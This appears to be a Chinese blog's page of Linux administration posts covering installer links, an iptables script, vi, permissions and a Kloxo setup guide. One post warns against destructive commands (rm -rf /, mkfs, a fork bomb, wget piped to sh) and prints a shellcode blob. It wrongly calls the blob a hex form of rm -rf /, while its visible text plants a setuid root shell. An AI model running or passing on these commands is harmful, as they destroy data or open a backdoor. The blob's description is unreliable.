正在筛选分类:linux 下的文章 清除筛选 ✕
2013
02
17
16:18

Linux服务器一键安装包

CentminMod

http://centminmod.com/

Nginx Auto Installer – PHP – MySQL

http://serversreview.net/nginx-auto-installer-php-mysql

TuxLite

http://tuxlite.com/

https://github.com/Mins/TuxLite

Minimal & Minstall & Server

https://github.com/maxexcloo/

TigersWay

https://github.com/TigersWay/VPS

Debian-Server

https://github.com/mikegioia/Debian-Server

LNMP-xcache-PHPMyAdmin

https://github.com/AhmadShamli/LNMP-xcache-PHPMyAdmin

Nginx-Setup-Script

https://github.com/mikemansell/Nginx-Setup-Script

LNMPA

https://github.com/XWay/LNMPA

NGinxAutoInstall.sh

https://github.com/nicolargo/debianpostinstall

VladGh.com-LEMP

https://github.com/vladgh/VladGh.com-LEMP/tree/next

https://github.com/scott23/VladGh.com-LEMP/tree/update

lowendscript

https://github.com/jkilgore/lowendscript

https://github.com/sotiri/lowendscript

https://github.com/ilevkov/lowendscript

小朱的两个

http://www.centos.bz/lnmp/

http://www.centos.bz/lamp/

QLNMP

http://qlnmp.forum.openfans.org/

http://code.google.com/p/qlnmp/

Linux + Apache + Nginx + MySQL + PHP Auto Install Script

https://github.com/wangyan/lanmp

LEMP

http://bbs.linuxtone.org/thread-1582-1-1.html

http://docs.linuxtone.org/autoinstall/

AceLNMP

http://code.google.com/p/acelnmp/

lnmp-project

http://code.google.com/p/lnmp-project/downloads/list

Centos,Debian

http://code.google.com/p/lnmp-auto-install/

2012
12
05
10:00

7 个致命的 Linux 命令

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

1、rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。

2、

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

3、mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

4、:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

5、any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

6、wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。

7、mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

2012
12
03
08:59

Linux Shell 调用系统时间变量

Shell 调用系统时间变量

 

获取今天时期:`date +%Y%m%d` 或 `date +%F` 或 $(date +%y%m%d)

获取昨天时期:`date -d yesterday +%Y%m%d`

获取前天日期:`date -d -2day +%Y%m%d`

依次类推比如获取10天前的日期:`date -d -10day +%Y%m%d`

或n天前的 `date -d “n days ago” +%y%m%d`

明天:`date -d tomorrow +%y%m%d`

注意以上中间有空格

 

时间域

% H 小时(00..23)

% I 小时(01..12)

% k 小时(0..23)

% l 小时(1..12)

% M 分(00..59)

% p 显示出AM或PM

% r 时间(hh:mm:ss AM或PM),12小时

% s 从1970年1月1日00:00:00到目前经历的秒数

% S 秒(00..59)

% T 时间(24小时制)(hh:mm:ss)

% X 显示时间的格式(%H:%M:%S)

% Z 时区 日期域

% a 星期几的简称( Sun..Sat)

% A 星期几的全称( Sunday..Saturday)

% b 月的简称(Jan..Dec)

% B 月的全称(January..December)

% c 日期和时间( Mon Nov 8 14:12:46 CST 1999)

% d 一个月的第几天(01..31)

% D 日期(mm/dd/yy)

% h 和%b选项相同

% j 一年的第几天(001..366)

% m 月(01..12)

% w 一个星期的第几天(0代表星期天)

% W 一年的第几个星期(00..53,星期一为第一天)

% x 显示日期的格式(mm/dd/yy)

% y 年的最后两个数字( 1999则是99)

% Y 年(例如:1970,1996等)

注意:只有超级用户才有权限使用date命令设置时间,一般用户只能使用date命令显示时间。

2012
11
28
15:51

Linux Iptables Firewall Shell Script For Standalone Server

#!/bin/bash

# A Linux Shell Script with common rules for IPTABLES Firewall.

# By default this script only open port 80, 22, 53 (input)

# All outgoing traffic is allowed (default – output)

# ————————————————————————-

# Copyright (c) 2004 nixCraft project <http://cyberciti.biz/fb/>

# This script is licensed under GNU GPL version 2.0 or above

# ————————————————————————-

# This script is part of nixCraft shell script collection (NSSC)

# Visit http://bash.cyberciti.biz/ for more information.

# ————————————————————————-

 

IPT=”/sbin/iptables”

SPAMLIST=”blockedip”

SPAMDROPMSG=”BLOCKED IP DROP”

 

echo “Starting IPv4 Wall…”

$IPT -F

$IPT -X

$IPT -t nat -F

$IPT -t nat -X

$IPT -t mangle -F

$IPT -t mangle -X

modprobe ip_conntrack

 

[ -f /root/scripts/blocked.ips.txt ] && BADIPS=$(egrep -v -E “^#|^$” /root/scripts/blocked.ips.txt)

 

PUB_IF=”eth0″

 

#unlimited

$IPT -A INPUT -i lo -j ACCEPT

$IPT -A OUTPUT -o lo -j ACCEPT

 

# DROP all incomming traffic

$IPT -P INPUT DROP

$IPT -P OUTPUT DROP

$IPT -P FORWARD DROP

 

if [ -f /root/scripts/blocked.ips.txt ];

then

# create a new iptables list

$IPT -N $SPAMLIST

 

for ipblock in $BADIPS

do

$IPT -A $SPAMLIST -s $ipblock -j LOG –log-prefix “$SPAMDROPMSG”

$IPT -A $SPAMLIST -s $ipblock -j DROP

done

 

$IPT -I INPUT -j $SPAMLIST

$IPT -I OUTPUT -j $SPAMLIST

$IPT -I FORWARD -j $SPAMLIST

fi

 

# Block sync

$IPT -A INPUT -i ${PUB_IF} -p tcp ! –syn -m state –state NEW -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “Drop Sync”

$IPT -A INPUT -i ${PUB_IF} -p tcp ! –syn -m state –state NEW -j DROP

 

# Block Fragments

$IPT -A INPUT -i ${PUB_IF} -f -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “Fragments Packets”

$IPT -A INPUT -i ${PUB_IF} -f -j DROP

 

# Block bad stuff

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL FIN,URG,PSH -j DROP

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL ALL -j DROP

 

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL NONE -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “NULL Packets”

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL NONE -j DROP # NULL packets

 

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags SYN,RST SYN,RST -j DROP

 

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags SYN,FIN SYN,FIN -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “XMAS Packets”

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags SYN,FIN SYN,FIN -j DROP #XMAS

 

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags FIN,ACK FIN -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “Fin Packets Scan”

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags FIN,ACK FIN -j DROP # FIN packet scans

 

$IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP

 

# Allow full outgoing connection but no incomming stuff

$IPT -A INPUT -i eth0 -m state –state ESTABLISHED,RELATED -j ACCEPT

$IPT -A OUTPUT -o eth0 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

 

# Allow ssh

$IPT -A INPUT -p tcp –destination-port 22 -j ACCEPT

 

# allow incomming ICMP ping pong stuff

$IPT -A INPUT -p icmp –icmp-type 8 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPT -A OUTPUT -p icmp –icmp-type 0 -m state –state ESTABLISHED,RELATED -j ACCEPT

 

# Allow port 53 tcp/udp (DNS Server)

$IPT -A INPUT -p udp –dport 53 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPT -A OUTPUT -p udp –sport 53 -m state –state ESTABLISHED,RELATED -j ACCEPT

 

$IPT -A INPUT -p tcp –destination-port 53 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPT -A OUTPUT -p tcp –sport 53 -m state –state ESTABLISHED,RELATED -j ACCEPT

 

# Open port 80

$IPT -A INPUT -p tcp –destination-port 80 -j ACCEPT

##### Add your rules below ######

 

##### END your rules ############

 

# Do not log smb/windows sharing packets – too much logging

$IPT -A INPUT -p tcp -i eth0 –dport 137:139 -j REJECT

$IPT -A INPUT -p udp -i eth0 –dport 137:139 -j REJECT

 

# log everything else and drop

$IPT -A INPUT -j LOG

$IPT -A FORWARD -j LOG

$IPT -A INPUT -j DROP

exit 0

———————————————————

How do I install and use this script?

Type the following command as root server:

# mkdir /root/scripts

# cd /root/scripts

# wget http://bash.cyberciti.biz/dl/381.sh.zip

# wget http://bash.cyberciti.biz/dl/151.sh.zip

# unzip 381.sh.zip

# unzip 151.sh.zip

# mv 381.sh start.fw

# mv 151.sh stop.fw

# chmod +x *.fw

Now edit firewall as per your requirements:
# vi /root/scripts/start.fw
Install firewall:
# echo '/root/scripts/start.fw' >> /etc/rc.local

How do I start firewall from a shell prompt?

# /root/scripts/start.fw

How do I stop firewall from a shell prompt?

# /root/scripts/stop.fw

2012
09
27
11:41

Linux vps修改时间改成北京时间

1.先登陆你的ssh,命令:date 看下时间是不是北京时间,如果不是我们把他改成北京时间。

2.命令:

rm -rf /etc/localtime

ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

 

3.再用date命令看下,你的vps的时间改变了吗?大部分Linux vps的母鸡是允许每个vps修改时间的!

如果此时你的vps时间已经改成北京时间就不用看下面了,如果此时你的vps时间还没有修改好。再试下命令:

ntpdate stdtime.sinica.edu.tw

使用ntpdate stdtime.sinica.edu.tw 时候如果提示这个命令,先安装 ntpdate就可以了。

 

centos 系统的vps用命令:

yum -y install ntpdate ntp

Ubuntu系统的:

sudo apt-get install -y ntpdate ntp

2012
09
10
15:57

linux 限制root用户SSH登录

1、修改SSHD服务的配置文件/etc/ssh/sshd_config

将#PermitRootLogin yes 改为PermitRootLogin no

2、重启sshd服务使配置生效

/etc/rc.d/init.d/sshd restart

 

为了增强linux的安全性,应该限制只有wheel组的用户可以使用su命令切换到root和其他用户:

 

1、修改su命令的认证配置文件/etc/pam.d/su

 

去掉以下两行前的#号注释

#auth sufficient pam_wheel.so trust use_uid (去年注释后ROOT组成员使用su切换到root不需要密码)

#auth required pam_wheel.so use_uid  (去年注释后只允许ROOT组成员使用su切换到root)

2、创建一个普通用户,然后将这个用户加入到wheel组即可!以后就只有这个普通用户和root可以使用su命令了

usermod -G 组 用户

 

su命令使用简介:

 

su 直接切换到root用户,但保持原用户的环境变量;

su – 切换到root用户,并使用root用户的环境变量;

 

su -l test 切换到test用户,并使用test的环境变量;

2012
06
21
10:24

LINUX VPS VI(VIM) 编辑器使用命令

Vi(vim)是上Linux非常常用的编辑器,很多Linux发行版都默认安装了vi(vim)。vi(vim)命令繁多但是如果使用灵活之后将会大大提高效率。vi是“visual interface”的缩写,vim是vi IMproved(增强版的vi)。在一般的系统管理维护中vi就够用,如果想使用代码加亮的话可以使用vim。

 

Vi有3个模式:插入模式、命令模式、低行模式。

 

插入模式:在此模式下可以输入字符,按ESC将回到命令模式。

命令模式:可以移动光标、删除字符等。

低行模式:可以保存文件、退出vi、设置vi、查找等功能(低行模式也可以看作是命令模式里的)。

 

一、打开文件、保存、关闭文件(vi命令模式下使用)

 

vi filename //打开filename文件

:w //保存文件

:w filename //保存至filename文件

:q //退出编辑器,如果文件已修改请使用下面的命令

:q! //退出编辑器,且不保存

:wq //退出编辑器,且保存文件

 

二、插入文本或行(vi命令模式下使用,执行下面命令后将进入插入模式,按ESC键可退出插入模式)

 

a //在当前光标位置的右边添加文本

i //在当前光标位置的左边添加文本

A //在当前行的末尾位置添加文本

I //在当前行的开始处添加文本(非空字符的行首)

O //在当前行的上面新建一行

o //在当前行的下面新建一行

R //替换(覆盖)当前光标位置及后面的若干文本

J //合并光标所在行及下一行为一行(依然在命令模式)

 

三、移动光标(vi命令模式下使用)

 

1、使用上下左右方向键

 

2、命令模式下:h 向左、j 向下 、k 向上、l 向右。

空格键 向右、Backspace 向左、Enter 移动到下一行首、- 移动到上一行首。

 

四、删除、恢复字符或行(vi命令模式下使用)

 

x //删除当前字符

nx //删除从光标开始的n个字符

dd //删除当前行

ndd //向下删除当前行在内的n行

u //撤销上一步操作

U //撤销对当前行的所有操作

 

五、搜索(vi命令模式下使用)

 

/xwyme //向光标下搜索vpser字符串

?xwyme //向光标上搜索vpser字符串

n //向下搜索前一个搜素动作

N //向上搜索前一个搜索动作

 

六、跳至指定行(vi命令模式下使用)

 

n+ //向下跳n行

n- //向上跳n行

nG //跳到行号为n的行

G //跳至文件的底部

 

七、设置行号(vi命令模式下使用)

 

:set nu //显示行号

:set nonu //取消显示行号

 

八、复制、粘贴(vi命令模式下使用)

 

yy //将当前行复制到缓存区,也可以用 “ayy 复制,”a 为缓冲区,a也可以替换为a到z的任意字母,可以完成多个复制任务。

nyy //将当前行向下n行复制到缓冲区,也可以用 “anyy 复制,”a 为缓冲区,a也可以替换为a到z的任意字母,可以完成多个复制任务。

yw //复制从光标开始到词尾的字符。

nyw //复制从光标开始的n个单词。

y^ //复制从光标到行首的内容。

y$ //复制从光标到行尾的内容。

p //粘贴剪切板里的内容在光标后,如果使用了前面的自定义缓冲区,建议使用”ap 进行粘贴。

P //粘贴剪切板里的内容在光标前,如果使用了前面的自定义缓冲区,建议使用”aP 进行粘贴。

 

九、替换(vi命令模式下使用)

 

:s/old/new //用new替换行中首次出现的old

:s/old/new/g //用new替换行中所有的old

:n,m s/old/new/g //用new替换从n到m行里所有的old

:%s/old/new/g //用new替换当前文件里所有的old

 

十、编辑其他文件

:e otherfilename //编辑文件名为otherfilename的文件。

 

十一、修改文件格式

 

:set fileformat=unix //将文件修改为unix格式,如win下面的文本文件在linux下会出现^M。

 

总结:vi(vim)编辑器虽然有比较多的命令,但是只要勤加练习,相信你会很快的熟练掌握,同时也会给你的工作或学习带来更高的效率。当如果不知道自己处在什么模式时可以按2次Esc键即可回到命令模式,会有最后提醒一点:注意大小写!!!

2012
06
21
10:14

Linux下文件权限及文件属组更改

现在开始使用linux的VPS了,不再使用面版控制,也不会安装什么控制面版,如kloxo之类的,装了占内存啊!纯命令行控制,虽然麻烦一点,但节省服务器资源,这样linux下的很多命令自然就需要用到了,下面这几个命令是常用的更改权限的命令了,放这里,以待不时之需。

1、chmod 命令

功能:chmod命令是非常重要的,用于改变文件或目录的访问权限.用户用它控制文件或目录的访问权限.

语法:该命令有两种用法。一种是包含字母和操作符表达式的文字设定法;另一种是包含数字的数字设定法。

1. 文字设定法

chmod [who] [+ | – | =] [mode] 文件名?

参数:

操作对象who可是下述字母中的任一个或者它们的组合:

u 表示“用户(user)”,即文件或目录的所有者。

g 表示“同组(group)用户”,即与文件属主有相同组ID的所有用户。

o 表示“其他(others)用户”。

a 表示“所有(all)用户”。它是系统默认值。

操作符号可以是:

+ 添加某个权限。

– 取消某个权限。

= 赋予给定权限并取消其他所有权限(如果有的话)。

设置mode所表示的权限可用下述字母的任意组合:

r 可读。

w 可写。

x 可执行。

X 只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x 属性。

s 在文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u+s”设置文件的用 户ID位,“g+s”设置组ID位。

t 保存程序的文本到交换设备上。

u 与文件属主拥有一样的权限。

g 与和文件属主同组的用户拥有一样的权限。

o 与其他用户拥有一样的权限。

文件名:以空格分开的要改变权限的文件列表,支持通配符。

在一个命令行中可给出多个权限方式,其间用逗号隔开。例如:chmod g+r,o+r example

使同组和其他用户对文件example 有读权限。

 

2、chgrp命令

功能:改变文件或目录所属的组。

语法:chgrp [选项] group filename?

该命令改变指定指定文件所属的用户组。其中group可以是用户组ID,也可以是/etc/group文件中用户组的组名。文件名是以空格分开的要改变属组的文件列表,支持通配符。如果用户不是该文件的属主或超级用户,则不能改变该文件的组。

参数:

– R 递归式地改变指定目录及其下的所有子目录和文件的属组。

例1:$ chgrp – R book /opt/local /book

改变/opt/local /book/及其子目录下的所有文件的属组为book。

 

3、chown 命令

功能:更改某个文件或目录的属主和属组。这个命令也很常用。例如root用户把自己的一个文件拷贝给用户xu,为了让用户xu能够存取这个文件,root用户应该把这个文件的属主设为xu,否则,用户xu无法存取这个文件。

语法:chown [选项] 用户或组 文件

说明:chown将指定文件的拥有者改为指定的用户或组。用户可以是用户名或用户ID。组可以是组名或组ID。文件是以空格分开的要改变权限的文件列表,支持通配符。

参数:

– R 递归式地改变指定目录及其下的所有子目录和文件的拥有者。

– v 显示chown命令所做的工作。

例1:把文件shiyan.c的所有者改为wang。

$ chown wang shiyan.c

例2:把目录/his及其下的所有文件和子目录的属主改成wang,属组改成users。

$ chown – R wang.users /his

2012
01
29
16:37

菜鸟用linux vps做网站

前两篇关于linux下的VPS配制,由于时间原因,还是以失败告终,过年后,这是2012我的第一篇文章,想想一下,还是决定以傻瓜的方式先让自己的VPS运行起来,以后再慢慢学习手动配制的方法。个人使用的话,大家还是尽量摆脱使用控制面板,这样可以充分发挥机器的性能,控制面板都是比较臃肿的,并不是所有功能你都需要。本文所提到的大部分操作同样适用于在独立服务器上安装Kloxo。本文适合未接触过Linux和Kloxo的同学参考,欢迎交流。

一、关于Kloxo

 

Kloxo的前身是Lxadmin,它是一款免费、开源、高效、灵活的虚拟主机控制面板,运行在安装了32位Red Hat或者CentOS的Linux发行版(RHEL系列)的独立服务器或者虚拟服务器(Xen/OpenVZ/Virtuozzo)上。在运行了包括控制面板、Web Server、Mail、DNS、数据库、系统服务的情况下,可以优化到只占用33MB内存的极限(应该只有跑Lighttpd才能实现)。Kloxo能够在ApacheLighttpd这两大Web Server之间灵活切换,同时集成了MySQL、pure-ftpd、Xcache、djbdns/bind、SUexec等组件。如果你想了解更多Kloxo的信息可以访问:Kloxo官方网站Kloxo维基百科

 

注意:根据Kloxo官方安装指南,Kloxo对64位Red Hat或者CentOS的Linux发行版的支持还在开发中,目前暂不支持。而且,安装时至少需要256MB的内存(没有交换空间Swap的要特别注意,最好是达到这个要求,通常是指OpenVZ)及2GB的磁盘空间。如果你的磁盘是手动分区的,请确保/tmp目录有足够的空间可供Kloxo的临时文件使用。

 

当然,也有大神提供优化版的Kloxo可以安装在更低配置的VPS上,对于这种安全性能要求高的软件,我选择官方版本或者自己优化。对了,记得有同学在128MB的XEN上成功安装过。关于各种经验和疑问,建议大家多用用搜索引擎。

 

二、安装Kloxo

 

很多运营商都提供管理平台让客户对自己的VPS做一些常规管理,比如系统开关重启、系统重装、资源使用率查看等。今天用VPS做Kloxo安装步骤介绍,重装纯净的32位CentOS后,我的VPS内存占用约15MB,在安装完Kloxo且没做任何优化的情况下内存占用约140MB。关于如何重装VPS系统请咨询你的运营商。

我使用SSH客户端是PuTTY中文版,一般来说SSH默认的端口是22。第一次使用SSH登录远程主机时会提示你更新安全密钥到本地缓存,确认保存以后你就可以继续后面的操作了。

root是拥有最高权限的帐户,Linux命令行是不显示密码输入过程的,不必担心,你只需敲完整密码回车即可完成登录。

一些服务器为了安全考虑会禁用环境变量这个特性,所以当你登录会看见这个提示:“Server refused to set all environment variables”(服务器拒绝设置所有的环境变量)。

“Last login”是告诉你上次登录服务器的记录,你也可以以此简单判断服务器是否被他人登录过。由于我使用的是运营商提供的系统安装模板,所以,第一次登录显示“Sun Apr  5 19:36:07 2009 from host81-152-164-227.range81-152.btcentralplus.com”这个2009年的记录应该是系统模板制作者留下的。

接下来我们开始进入Kloxo的安装环节:

第一步:卸载自带组件

Kloxo集成了我们所需的组件,为了安装顺利,我们先卸载掉CentOS原先自带的相同组件以免冲突或出错。分别执行:

# rpm -qa | grep httpd
# rpm -qa | grep mysql
# rpm -qa | grep php

命令rpm -qa分别列出apache、mysql、php等组件相关的rpm包以便之后依次卸载。通过查询可以看出我的VPS只自带了apache组件(httpd-2.2.3-22.e15.centos)。接下来卸载apache,执行:

# rpm -e httpd

命令rpm -e的作用是卸载rpm包,只需输入rpm包的名字即可,无需带版本号。并根据所列的rpm包列表,从下往上依次卸载。如果卸载不掉,系统会提示该rpm包的依赖关系及名称,先卸载提示的依赖包即可。如果还无法卸载,可以使用–nodeps参数(忽略依赖性关系)强制卸载,但最好不要这么做。

第二步:安装Kloxo

我们转到/usr/local/src目录(软件源代码包存放目录)。根据个人爱好,这步可以不执行,只是我本人不喜欢把文件乱放。当然你也可以将软件包放到/tmp目录(临时文件存放目录)下。执行:

# cd /usr/local/src

下载并安装Kloxo,http://download.lxcenter.org/download/kloxo/production/kloxo-installer.sh  执行:

# wget http://download.lxcenter.org/download/kloxo/production/kloxo-installer.sh
# sh ./kloxo-installer.sh –type=master

按照Kloxo官方的教程,其实只需这2步即可完成安装Kloxo。

“InstallApp”是一个集成了PHPBB、WordPress、Joomla等130多个常用源码的程序包,大概占用350MB的磁盘空间,可以根据自己的需求选择是否安装。如果服务器在国内不敢保证安装速度。

整个安装过程很快,看见“Congratulations.”就说明Kloxo在你的VPS上已经安装完毕了。

 

接下来安装一些Kloxo没有自带的常用组件,执行:

 

# yum install php-bcmath
# yum install php-mhash
# yum install php-mbstring
# yum check-update
# yum update
# yum clean all
# shutdown -r now

 

php-bcmath是任意精度数学函数库,用于浮点数精确运算;php-mhash是哈稀函数库,用于运算MD5、SHA1或GOST,还有其它多种的哈稀演算法;php-mbstring是多字节(多语言)字符串处理函数,用于处理多种编码的语言;yum check-update是列出所有可待更新的RPM软件包清单;yum update是更新所有可更新的RPM软件包;yum clean all是清除所有旧的PRM头文件(header)和下载的RPM软件包。shutdown -r now是立刻重新启动,相当于reboot。

 

执行完以上这些步骤,Kloxo就算完整安装好啦!Enjoy!安装过程中请检查SSH客户端滚屏是否包含error反馈。

 

三、登录Kloxo

 

通过下面任一地址你就可以通过Kloxo访问并管理你的VPS了:

 

  • http://你的IP地址:7778
  • https://你的IP地址:7777
  • 默认帐号和密码都是:admin

 

通过HTTPS链接访问时,浏览器会提示SSL证书不正确,这个可以忽略,不影响使用。

 

如果无法访问,一般是由于开启了iptables过滤了端口所导致。如果没有其他防火墙相关的要求,简单的关闭iptables即可。通过SSH执行:

 

# service iptables stop
# chkconfig iptables off

 

查看Kolox的运行状态可以执行:

 

# /etc/init.d/kloxo status

 

你可以通过strat、stop、restart进行相应的启动、停止、重启等操作的执行。